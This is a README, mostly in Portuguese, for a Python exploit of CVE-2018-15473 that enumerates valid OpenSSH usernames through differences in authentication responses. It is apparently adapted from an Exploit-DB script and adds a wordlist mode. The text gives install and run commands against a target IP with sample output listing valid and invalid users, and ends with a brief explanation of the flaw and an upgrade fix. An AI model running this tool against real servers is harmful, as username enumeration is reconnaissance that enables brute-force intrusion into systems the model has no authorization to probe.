
Exploit baseado em Python para CVE-2018-15473 que permite enumeração de nomes de usuário OpenSSH por meio de oráculo de resposta de autenticação, com modos de usuário único e lista de palavras.
SSH-Username-Enumeration-Exploit (OpenSSH 2.3 < 7.7)
Versão editada do exploit original: https://www.exploit-db.com/exploits/45233
Convertido para Python3
Adicionada opção de wordlist de nomes de usuário
#Install the requirements:
foo@bar:~$ pip3 install -r requirements.txt
#For single username:
foo@bar:~$ ./Exploit.py 192.168.1.20 -u root
[+] root is a valid username
#For multiple username:
foo@bar:~$ ./Exploit.py 192.168.1.20 -w username.txt
[+] root is a valid username
[-] mysql is an invalid username
[-] mike is an invalid username
[-] foo is an invalid username
[-] bar is an invalid username
Valid Users:
root
#For more option:
foo@bar:~$ ./Exploit.py -h
O sistema responde de forma diferente a tentativas de autenticação válidas e inválidas. Um usuário remoto pode enviar requisições especialmente criadas para determinar nomes de usuário válidos no sistema alvo. Assim, um usuário remoto pode determinar nomes de usuário válidos no sistema alvo.
O servidor OpenSSH deve ser atualizado para a versão 7.7 ou superior.